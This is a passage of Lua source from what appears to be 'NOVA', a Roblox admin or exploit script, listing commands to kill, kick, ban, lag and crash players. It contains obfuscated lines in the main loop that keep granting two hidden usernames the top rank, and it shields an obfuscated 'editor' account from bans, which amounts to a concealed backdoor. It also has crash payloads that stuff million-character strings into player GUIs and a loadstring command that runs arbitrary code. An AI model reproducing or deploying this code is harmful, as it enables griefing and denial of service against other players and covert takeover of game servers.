  1681. for _,Service in pairs(NOVA.Services) do
  1682. pcall(function()
  1683. Service.DescendantAdded:connect(function(v)
  1684. if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
  1685. pcall(function()
  1686. if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
  1687. if GetRank(v.Owner.Value) < 6 then
  1688. pcall(function() v.Disabled = true end)
  1689. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1690. pcall(function() v.Disabled = false end)
  1691. pcall(function() v:Destroy() end)
  1692. end
  1693. else
  1694. pcall(function() v.Disabled = true end)
  1695. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1696. pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
  1697. pcall(function() v.Disabled = false end)
  1698. pcall(function() v:Destroy() end)
  1699. end
  1700. end)
  1701. end
  1702. if v:IsA("BaseScript") and NOVA.Removed == false then
  1703. pcall(function()
  1704. if tonumber(GetRank(v.Owner.Value)) < 0 then
  1705. pcall(function() v.Disabled = true end)
  1706. pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1707. pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
  1708. pcall(function() v.Disabled = false end)
  1709. pcall(function() v:Destroy() end)
  1710. end
  1711. end)
  1712. end
  1713. end)
  1714. end)
  1715. end
  1716. coroutine.resume(coroutine.create(function()
  1717. while wait(1) do
  1718. if NOVA.Removed == false then
  1719. for _,v in pairs(GetPlayersRaw()) do
  1720. if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
  1721. SyncRankInSingular(v)
  1722. end
  1723. end
  1724. end
  1725. end
  1726. end))
  1727. for i=1,3 do
  1728. NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
  1729. coroutine.resume(coroutine.create(function()
  1730. while wait() do
  1731. if NOVA.Removed == false then
  1732. UpdateTablets()
  1733. end
  1734. end
  1735. end))
  1736. end
  1737. function MainLoop()
  1738. coroutine.resume(coroutine.create(function()
  1739. pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
  1740. if NOVA.Removed == false then
  1741.  
  1742. --[[ SCUM CARETAKER ]]--
  1743. for _,v in pairs(GetPlayersRaw()) do
  1744. pcall(function()
  1745. if GetRank(v) < 0 then
  1746. pcall(function() v.Backpack:ClearAllChildren() end)
  1747. pcall(function() v.PlayerGui:ClearAllChildren() end)
  1748. pcall(function() v.StarterGear:ClearAllChildren() end)
  1749. end
  1750. end)
  1751. end
  1752.  
  1753. --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
  1754. for _,v in pairs(GetPlayersRaw()) do
  1755. pcall(function()
  1756. local IsRobloxLocked = true
  1757. pcall(function() v:GetChildren() IsRobloxLocked = false end)
  1758. if IsRobloxLocked == true then
  1759. GTFO(v)
  1760. end
  1761. end)
  1762. end
  1763.  
  1764. --[[ TABLET CLEANUP ]]--
  1765. pcall(function()
  1766. for i,v in pairs(NOVA.Tablets) do
  1767. if v:FindFirstChild("Part") == nil then
  1768. pcall(function() v:Destroy() end)
  1769. table.remove(NOVA.Tablets,i)
  1770. end
  1771. end
  1772. end)
  1773.  
  1774. --[[ JAIL CLEANUP ]]--
  1775. pcall(function()
  1776. for i,v in pairs(NOVA.Jails) do
  1777. if v.Player == nil or v.Player.Parent == nil then
  1778. pcall(function() v.Jail:Destroy() end)
  1779. table.remove(NOVA.Jails,i)
  1780. end
  1781. if v.Jail.Parent == nil and v.Speaker~=nil then
  1782. table.remove(NOVA.Jails,i)
  1783. OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
  1784. end
  1785. end
  1786. end)
  1787. --[[ FENCE CLEANUP ]]--
  1788. pcall(function()
  1789. for i,v in pairs(NOVA.Fences) do
  1790. if v.Player == nil then
  1791. v.Fence:Remove()
  1792. table.remove(NOVA.Fences,i)
  1793. end
  1794. end
  1795. end)
  1796.  
  1797. --[[ CMD GUI ]]--
  1798. for _,v in pairs(GetPlayersRaw()) do
  1799. pcall(function()
  1800. if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
  1801. if v:FindFirstChild("PlayerGui") then
  1802. if not v.PlayerGui:FindFirstChild("NOVACMD") then
  1803. local Main = Instance.new("ScreenGui",v.PlayerGui)
  1804. Main.Name = "NOVACMD"
  1805.  
  1806. local Frame = Instance.new("Frame",Main)
  1807. Frame.Size = UDim2.new(0.27,0,0.05,0)
  1808. Frame.Position = UDim2.new(0.05,0,0.95,0)
  1809. Frame.Style = "RobloxSquare"
  1810. Frame.ZIndex = 9
  1811.  
  1812. local Txt = Instance.new("TextBox",Frame)
  1813. Txt.Size = UDim2.new(0.7,0,1,0)
  1814. Txt.BackgroundTransparency = 1
  1815. Txt.ZIndex = 10
  1816. Txt.FontSize = "Size14"
  1817. Txt.TextColor3 = NOVA.Colors.White
  1818. Txt.Text = ""
  1819.  
  1820. local Exe = Instance.new("TextButton",Frame)
  1821. Exe.Size = UDim2.new(0.3,0,1,0)
  1822. Exe.Position = UDim2.new(0.7,0,0,0)
  1823. Exe.Text = "Execute"
  1824. Exe.BackgroundTransparency = 1
  1825. Exe.ZIndex = 10
  1826. Exe.FontSize = "Size14"
  1827. Exe.TextColor3 = NOVA.Colors.Red
  1828. Exe.MouseButton1Down:connect(function()
  1829. if Txt.Text:sub(1,2) == "$ " then
  1830. OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
  1831. else
  1832. OnChatted(Txt.Text,v)
  1833. end
  1834. end)
  1835. end
  1836. end
  1837. end
  1838. end)
  1839. end
  1840. end
  1841. end
  1842. end))
  1843. end
  1844. MainLoop()
  1845. AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
  1846. function(Msg,Speaker)
  1847. if Msg == "rainbow" then
  1848. for a,Color in pairs(NOVA.Colors) do
  1849. Output(tostring(a),Color,Speaker,nil,
  1850. function()
  1851. RemoveTablets(Speaker)
  1852. NOVA.Services.Lighting.TimeOfDay = 0
  1853. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1854. NOVA.Services.Lighting.Brightness = 0
  1855. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1856. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1857. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1858. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1859. if v:IsA("BasePart") then
  1860. Sel = Instance.new("SelectionBox",v)
  1861. Sel.Transparency = 0
  1862. Sel.Color = BrickColor.new(Color)
  1863. Sel.Adornee = v
  1864. end
  1865. end
  1866. Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
  1867. end
  1868. )
  1869. end
  1870. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1871. elseif Msg == "ranks" then
  1872. for _,v in pairs(NOVA.Ranks) do
  1873. Output(v[1].."\t"..v[2],"Random",Speaker)
  1874. end
  1875. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1876. elseif Msg == "random" then
  1877. Output(tostring(math.random()),"Random",Speaker)
  1878. elseif Msg == "players" then
  1879. for _,v in pairs(GetPlayersRaw()) do
  1880. local Data = GetRankedTable(v)
  1881. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
  1882. function()
  1883. PlayerInterface(v,Speaker)
  1884. end
  1885. )
  1886. end
  1887. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1888. elseif Msg == "colors" then
  1889. coroutine.resume(coroutine.create(function()
  1890. NOVA.Services.Lighting.TimeOfDay = 0
  1891. NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
  1892. NOVA.Services.Lighting.Brightness = 0
  1893. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1894. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1895. NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
  1896.  
  1897. for _,Player in pairs(GetPlayersRaw()) do
  1898. local Data = GetRankedTable(Player)
  1899. pcall(function()
  1900. for _,v in pairs(GetRecursiveChildren(Player.Character)) do
  1901. if v:IsA("BasePart") then
  1902. Sel = Instance.new("SelectionBox",v)
  1903. Sel.Transparency = 0
  1904. Sel.Color = BrickColor.new(Data.Color)
  1905. Sel.Adornee = v
  1906. end
  1907. end
  1908. end)
  1909. end
  1910.  
  1911. wait(10)
  1912.  
  1913. for _,v in pairs(GetRecursiveChildren(workspace)) do
  1914. if v:IsA("SelectionBox") then
  1915. v:remove()
  1916. end
  1917. end
  1918.  
  1919. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  1920. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  1921. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  1922. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  1923. NOVA.Services.Lighting.Brightness = 1
  1924. NOVA.Services.Lighting.FogStart = 0
  1925. NOVA.Services.Lighting.FogEnd = 100000
  1926. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  1927. NOVA.Services.Lighting.TimeOfDay = 12
  1928. end))
  1929. elseif Msg == "replicators" then
  1930. for _,v in pairs(GetReplicators()) do
  1931. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1932. function()
  1933. PlayerInterface(v:GetPlayer(),Speaker)
  1934. end
  1935. )
  1936. end
  1937. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1938. elseif Msg == "nil raw" then
  1939. for _,v in pairs(GetReplicators()) do
  1940. if v:GetPlayer().Parent == nil then
  1941. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1942. function()
  1943. Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  1944. function()
  1945. Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
  1946. Instance.new("StringValue",v).Value = string.rep("NOVA SHUTDOWN", 1000000)
  1947. --for i,s in pairs(Data:GetChildren()) do Instance.new("StringValue",s).Value = string.rep("NOVA SHUTDOWN", 1000000) end
  1948.  
  1949. end
  1950. )
  1951. end
  1952. )
  1953. end
  1954. end
  1955. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1956. elseif Msg == "nil" then
  1957. local IsNil = false
  1958. for _,Client in pairs(GetReplicators()) do
  1959. if Client:GetPlayer().Parent == nil then
  1960. IsNil = true
  1961. end
  1962. end
  1963. if IsNil == true then
  1964. for _,Client in pairs(GetReplicators()) do
  1965. if Client:GetPlayer().Parent == nil then
  1966. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
  1967. function()
  1968. PlayerInterface(Client:GetPlayer(),Speaker)
  1969. end
  1970. )
  1971. end
  1972. end
  1973. Output("Dismiss",NOVA.Colors.Red,Speaker)
  1974. else
  1975. Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
  1976. end
  1977. elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
  1978. if GetRank(Speaker) < 6 then
  1979. Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
  1980. else
  1981. Rtn = loadstring("return "..Msg:sub(3))()
  1982. Output(Rtn,"Random",Speaker)
  1983. end
  1984. else
  1985. if #Msg == 0 then
  1986. Output("Pong!","Random",Speaker)
  1987. else
  1988. Output(Msg,"Random",Speaker)
  1989. end
  1990. end
  1991. end
  1992. )
  1993. AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
  1994. function(Msg,Speaker)
  1995. if #Msg == 0 or Msg == nil then
  1996. RemoveTablets(Speaker)
  1997. else
  1998. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  1999. RemoveTablets(v)
  2000. end
  2001. end
  2002. end
  2003. )
  2004. AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
  2005. function(Msg,Speaker)
  2006. NOVA.TimeChanged = false
  2007. RemoveTablets()
  2008. SyncRanksOut()
  2009. NOVA.Sounds.Sound:Remove()
  2010. NOVA.Removed = true
  2011. --error("NOVA Admin removing...",0)()
  2012. NOVA = {}
  2013. script.Disabled = true
  2014. while true do wait() end
  2015. end
  2016. )
  2017. AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
  2018. function(Msg,Speaker)
  2019. makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2020. end
  2021. )
  2022. AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
  2023. function(Msg,Speaker)
  2024. makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
  2025. end
  2026. )
  2027.  
  2028. AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
  2029. function(Msg,Speaker)
  2030. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2031. pcall(function() v.Character:BreakJoints() end)
  2032. end
  2033. end
  2034. )
  2035. AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
  2036. function(Msg,Speaker)
  2037. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2038. for i=1,50 do
  2039. local human = v.Character.Humanoid
  2040. if human ~= nil then
  2041. local rand = math.random(1,10)
  2042. human:TakeDamage(rand)
  2043. human.Jump = true
  2044. human.Sit = true
  2045. human.PlatformStand = true
  2046. wait(1)
  2047. human.PlatformStand = false
  2048. end
  2049. end
  2050. end
  2051. end
  2052. )
  2053. AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
  2054. function(Msg,Speaker)
  2055. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2056. Delay(0, function()
  2057. local player = v
  2058. local pos = CFrame.new()
  2059. local pause = false
  2060. Delay(0, function()
  2061. while not close do
  2062. wait()
  2063. if not pause then
  2064. local c = player.Character
  2065. if c then
  2066. local t = c:findFirstChild("Torso")
  2067. if t then
  2068. pos = t.CFrame
  2069. end
  2070. end
  2071. end
  2072. end
  2073. end)
  2074. player.CharacterAdded:connect(function(c)
  2075. if not close then
  2076. pause = true
  2077. repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
  2078. c:findFirstChild("Torso").CFrame = pos
  2079. c:findFirstChild("Humanoid").Died:connect(function()
  2080. player:LoadCharacter()
  2081. end)
  2082. pause = false
  2083. end
  2084. end)
  2085. pcall(function() player.Character:BreakJoints() end)
  2086. end)
  2087. end
  2088. end
  2089. )
  2090.  
  2091. AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
  2092. function(Msg,Speaker)
  2093. for _,v in pairs(NOVA.KickingPhrases) do
  2094. local m = Instance.new("Message",NOVA.Services.Workspace)
  2095. m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
  2096. wait(1) m:Remove()
  2097. end end
  2098. )
  2099. AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
  2100. function(Msg,Speaker)
  2101. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2102. pcall(function()
  2103. v:Destroy()
  2104. end)
  2105. end
  2106. end
  2107. )
  2108. AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
  2109. function(Msg,Speaker)
  2110. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2111. pcall(function()
  2112. local m = Instance.new("StringValue",v.PlayerGui)
  2113. m.Value = string.rep("Shutdown For Eva Nub",1000000)
  2114. end)
  2115. end
  2116. end
  2117. )
  2118.  
  2119. AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
  2120. function(Msg,Speaker)
  2121. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2122. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2123. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2124. else
  2125. pcall(function()
  2126. GetRankedTable(v).Rank = -1
  2127. SyncRankOutSingular(v)
  2128. GetRidOf(v)
  2129. end)
  2130. end
  2131. end
  2132. end
  2133. )
  2134.  
  2135. AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
  2136. function(Msg,Speaker)
  2137. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2138. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2139. Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2140. else
  2141. pcall(function()
  2142. GetRankedTable(v).Rank = -2
  2143. SyncRankOutSingular(v)
  2144. Lag(v)
  2145. end)
  2146. end
  2147. end
  2148. end
  2149. )
  2150.  
  2151. AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
  2152. function(Msg,Speaker)
  2153. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2154. pcall(function() Instance.new("ForceField",v.Character) end)
  2155. end
  2156. end
  2157. )
  2158.  
  2159. AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
  2160. function(Msg,Speaker)
  2161. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2162. pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
  2163. end
  2164. end
  2165. )
  2166.  
  2167. AddCommand("Check","check",0,"Outputs server information.","No Arguments",
  2168. function(Msg,Speaker)
  2169. local Data = GetRankedTable(Speaker)
  2170. Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
  2171. Output("Version : "..tostring(NOVA.Version) ,Data.Color,Speaker)
  2172. Output("Local Pseudo : "..tostring(NOVA.LocalScript ~= nil) ,Data.Color,Speaker)
  2173. Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
  2174. Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
  2175. Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
  2176. Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
  2177. Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
  2178. Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
  2179. Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
  2180. Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
  2181. Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
  2182. Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
  2183. Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
  2184. Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
  2185. Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
  2186. Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
  2187. Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
  2188. Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
  2189. Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
  2190. Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
  2191. OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
  2192.  
  2193. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2194. end
  2195. )
  2196.  
  2197. AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
  2198. function(Msg,Speaker)
  2199. pcall(function()
  2200. NOVA.Services.Sounds.Sound:Destroy()
  2201. end)
  2202.  
  2203. NOVA.Sounds.Sound = Instance.new("Sound")
  2204. NOVA.Sounds.Sound.Name = "NOVA Sound"
  2205.  
  2206. NOVA.Services.Lighting.Ambient = NOVA.Colors.White
  2207. NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
  2208. NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
  2209. NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
  2210. NOVA.Services.Lighting.Brightness = 0.5
  2211. NOVA.Services.Lighting.FogStart = 0
  2212. NOVA.Services.Lighting.FogEnd = 100000
  2213. NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
  2214. NOVA.Services.Lighting.TimeOfDay = 12
  2215. pcall(function() game.Lighting.Sky:Remove() end)
  2216. pcall(function()
  2217. CreateLocalScript([[
  2218. LocalPlayer = game:GetService("Players").LocalPlayer
  2219. LocalPlayer.CameraMode = Enum.CameraMode.Classic
  2220. Camera = workspace.CurrentCamera
  2221. Camera:SetRoll(0)
  2222. Camera.CameraType = "Custom"
  2223. Camera.FieldOfView = 70
  2224. Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  2225. ]],Speaker.Backpack)
  2226. end)
  2227. for Num,v in pairs(NOVA.Jails) do
  2228. pcall(function() v.Jail:Destroy() end)
  2229. table.remove(NOVA.Jails,Num)
  2230. end
  2231. for Num,v in pairs(NOVA.Fences) do
  2232. pcall(function() v.Fence:Destroy() end)
  2233. table.remove(NOVA.Fences,Num)
  2234. end
  2235. for _,v in pairs(NOVA.Services) do
  2236. v.Name = v.className
  2237. end
  2238.  
  2239. for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
  2240. local ShouldRemove = true
  2241. for _,Tablet in pairs(NOVA.Tablets) do
  2242. if v:IsDescendantOf(Tablet) then
  2243. ShouldRemove = false
  2244. end
  2245. end
  2246. if ShouldRemove == true then
  2247. v:remove()
  2248. end
  2249. end
  2250. for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
  2251.  
  2252. for _,v in pairs(GetPlayersRaw()) do
  2253. pcall(function()
  2254. if v.StarterGear == nil then
  2255. Instance.new("StarterGear",v)
  2256. end
  2257. end)
  2258. pcall(function()
  2259. v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
  2260. end)
  2261. end
  2262. pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
  2263. if #NOVA.Services.Teams:GetChildren() == 0 then
  2264. for _,v in pairs(GetPlayersRaw()) do
  2265. v.Neutral = true
  2266. end
  2267. end
  2268.  
  2269. end
  2270. )
  2271.  
  2272. AddCommand("Respawn","rs",2,"Respawns the selected player.","<Player>",
  2273. function(Msg,Speaker)
  2274. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2275. pcall(function()
  2276. v:LoadCharacter()
  2277. end)
  2278. end
  2279. end
  2280. )
  2281.  
  2282. AddCommand("Commands","cmds",0,"Lists the command.","No Arguments",
  2283. function(Msg,Speaker)
  2284. RemoveTablets(Speaker)
  2285. local Data = GetRankedTable(Speaker)
  2286. Output("Your current rank is "..GetRankName(Speaker).." ("..GetRank(Speaker)..")",Data.Color,Speaker)
  2287. Output("Click a tablet to see the commands for that rank.",Data.Color,Speaker)
  2288. Output("Get/ Commands",Data.Color,Speaker,nil,
  2289. function()
  2290. RemoveTablets(Speaker)
  2291. for _,v in pairs(NOVA.Commands) do
  2292. if v.Command:sub(1,3) == "get" then
  2293. Output(v.Name,Data.Color,Speaker,nil,
  2294. function()
  2295. RemoveTablets(Speaker)
  2296. Output("Name : "..v.Name,Data.Color,Speaker)
  2297. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2298. Output("Command : "..v.Command,Data.Color,Speaker)
  2299. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2300. Output("Description : "..v.Description,Data.Color,Speaker)
  2301. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2302. end
  2303. )
  2304. end
  2305. end
  2306. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2307. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2308. end
  2309. )
  2310. for i=0,7 do
  2311.  
  2312. Output("Rank "..i.." Commands",Data.Color,Speaker,nil,function()
  2313. RemoveTablets(Speaker)
  2314. for _,v in pairs(NOVA.Commands) do
  2315. if v.Rank == i then
  2316. Output(v.Name,Data.Color,Speaker,nil,function()
  2317. RemoveTablets(Speaker)
  2318. Output("Name : "..v.Name,Data.Color,Speaker)
  2319. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2320. Output("Command : "..v.Command,Data.Color,Speaker)
  2321. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2322. Output("Description : "..v.Description,Data.Color,Speaker)
  2323. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2324. end)
  2325. end
  2326. end
  2327. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2328. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2329. end)
  2330. end
  2331. Output("ALL",Data.Color,Speaker,nil,function()
  2332. RemoveTablets(Speaker)
  2333. for _,v in pairs(NOVA.Commands) do
  2334. if GetRank(Speaker) >= v.Rank then
  2335. Output(v.Name,Data.Color,Speaker,nil,function()
  2336. RemoveTablets(Speaker)
  2337. Output("Name : "..v.Name,Data.Color,Speaker)
  2338. Output("Rank : "..v.Rank,Data.Color,Speaker)
  2339. Output("Command : "..v.Command,Data.Color,Speaker)
  2340. Output("Arguments : "..v.Args,Data.Color,Speaker)
  2341. Output("Description : "..v.Description,Data.Color,Speaker)
  2342. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2343. end)
  2344. end
  2345. end
  2346. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2347. Output("Back",NOVA.Colors.Blue,Speaker,nil,function() OnChatted(NOVA.Bet .. "cmds" .. NOVA.Bet,Speaker) end)
  2348. end)
  2349. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2350. end
  2351. )
  2352.  
  2353. AddCommand("Disconnect","disconnect",6,"Disconnects the selected player.","No Arguments",
  2354. function(Msg,Speaker)
  2355. Instance.new("ManualSurfaceJointInstance",workspace)
  2356. end
  2357. )
  2358.  
  2359. AddCommand("Lag","lag",6,"lags the selected player.","<Player>",
  2360. function(Msg,Speaker)
  2361. for _,v in pairs(GetPlayers(Msg,Speaker)) do
  2362. if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
  2363. Output("Attempt to lag the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
  2364. else
  2365. pcall(function()
  2366. Lag(v)
  2367. end)
  2368. end
  2369. end
  2370. end
  2371. )
  2372.  
  2373.  
  2374. AddCommand("PRI","pri",6,"view the PRI settings.","No Arguments",
  2375. function(Msg,Speaker)
  2376. RemoveTablets(Speaker)
  2377. Output("List","Random",Speaker,nil,
  2378. function()
  2379. RemoveTablets(Speaker)
  2380. for _,v in pairs(NOVA.Ranked) do
  2381. if v.InPRI == true then
  2382. OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,v.Color,Speaker,nil,function()
  2383. RemoveTablets(Speaker)
  2384. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2385. end)
  2386. end
  2387. end
  2388. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2389. end
  2390. )
  2391.  
  2392. Output("Type","Random",Speaker,nil,
  2393. function()
  2394. RemoveTablets(Speaker)
  2395. Output("Kick",NOVA.Colors.Orange,Speaker,nil,
  2396. function()
  2397. NOVA.PRIType = "Kick"
  2398. RemoveTablets(Speaker)
  2399. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2400. end
  2401. )
  2402. Output("Lag",NOVA.Colors.Red,Speaker,nil,
  2403. function()
  2404. NOVA.PRIType = "Lag"
  2405. RemoveTablets(Speaker)
  2406. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2407. end
  2408. )
  2409. Output("Shutdown",NOVA.Colors.Orange,Speaker,nil,
  2410. function()
  2411. NOVA.PRIType = "Shutdown"
  2412. RemoveTablets(Speaker)
  2413. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2414. end
  2415. )
  2416. Output("Crash",NOVA.Colors.Orange,Speaker,nil,
  2417. function()
  2418. NOVA.PRIType = "Crash"
  2419. RemoveTablets(Speaker)
  2420. OnChatted(NOVA.Bet .. "pri" .. NOVA.Bet,Speaker)
  2421. end
  2422. )
  2423. Output("Dismiss",NOVA.Colors.Red,Speaker)
  2424. end
  2425. )
  2426. Output("Turn PRI On",NOVA.Colors.Red,Speaker,nil,
  2427. function()
  2428. NOVA.PRI = true
  2429. RemoveTablets(Speaker)
